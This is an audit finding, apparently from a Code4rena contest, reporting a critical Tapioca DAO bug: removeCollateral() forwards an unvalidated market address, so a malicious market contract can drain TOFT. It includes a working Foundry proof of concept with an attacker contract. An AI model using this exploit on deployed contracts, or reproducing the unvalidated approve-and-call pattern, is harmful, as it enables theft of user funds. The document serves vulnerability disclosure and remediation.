TOFT in (m)TapiocaOft contracts can be stolen by calling removeCollateral() with a malicious removeParams.market

criticalCode4rena

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L190 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L516 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L230-L231

Vulnerability details

Impact

The TOFT available in the TapiocaOFT contract can be stolen when calling removeCollateral() with a malicious market.

Proof of Concept

(m)TapiocaOFT inherit BaseTOFT, which has a function removeCollateral() that accepts a market address as an argument. This function calls _lzSend() internally on the source chain, which then is forwarded to the destination chain by the relayer and calls lzReceive().

lzReceive() reaches _nonBlockingLzReceive() in BaseTOFT and delegate calls to the BaseTOFTMarketModule on function remove(). This function approves TOFT to the removeParams.market and then calls function removeCollateral() of the provided market. There is no validation whatsoever in this address, such that a malicious market can be provided that steals all funds, as can be seen below:

solidity📋
function remove(bytes memory _payload) public {
    ...
    approve(removeParams.market, removeParams.share); // no validation prior to this 2 calls
    IMarket(removeParams.market).removeCollateral(
        to,
        to,
        removeParams.share
    );
    ...
}

The following POC in Foundry demonstrates this vulnerability, the attacker is able to steal all TOFT in mTapiocaOFT:

solidity📋
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MaliciousMarket {
    address public immutable attacker;
    address public immutable tapiocaOft;

    constructor(address attacker_, address tapiocaOft_) {
        attacker = attacker_;
        tapiocaOft = tapiocaOft_;
    } 

    function removeCollateral(address, address, uint256 share) external {
        IERC20(tapiocaOft).transferFrom(msg.sender, attacker, share);
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772;

    function test_POC_StealAllAssetsInTapiocaOFT_RemoveCollateral_MaliciousMarket()
        public
    {
        vm.createSelectFork("https://eth.llamarpc.com");

        address marketModule_ = address(
            new BaseTOFTMarketModule(
                address(LZ_ENDPOINT),
                address(0),
                IYieldBoxBase(address(2)),
                "SomeName",
                "SomeSymbol",
                18,
                block.chainid
            )
        );

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(marketModule_),
            payable(address(4))
        );

        // TOFT is acummulated in the TapiocaOft contract and can be stolen by the malicious market
        // for example, strategyDeposit of the BaseTOFTMarketModule credits TOFT to tapiocaOft
        uint256 tOftInTapiocaOft_ = 1 ether;
        deal(address(tapiocaOft_), address(tapiocaOft_), tOftInTapiocaOft_);

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1 ether); // lz fees

        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        ICommonData.IWithdrawParams memory withdrawParams_;
        ITapiocaOFT.IRemoveParams memory removeParams_;
        removeParams_.share = tOftInTapiocaOft_;
        removeParams_.market = address(new MaliciousMarket(attacker_, address(tapiocaOft_)));
        ICommonData.IApproval[] memory approvals_;
        bytes memory adapterParams_;

        tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));

        vm.prank(attacker_);
        tapiocaOft_.removeCollateral{value: 1 ether}(
            attacker_,
            attacker_,
            lzDstChainId_,
            zroPaymentAddress_,
            withdrawParams_,
            removeParams_,
            approvals_,
            adapterParams_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_MARKET_REMOVE_COLLATERAL,
            attacker_,
            attacker_,
            bytes32(bytes20(attacker_)),
            removeParams_,
            withdrawParams_,
            approvals_
        );

        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
        assertEq(tapiocaOft_.balanceOf(attacker_), tOftInTapiocaOft_);
    }
}

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

Whitelist the removeParams.market address to prevent users from providing malicious markets.

Assessed type

Invalid Validation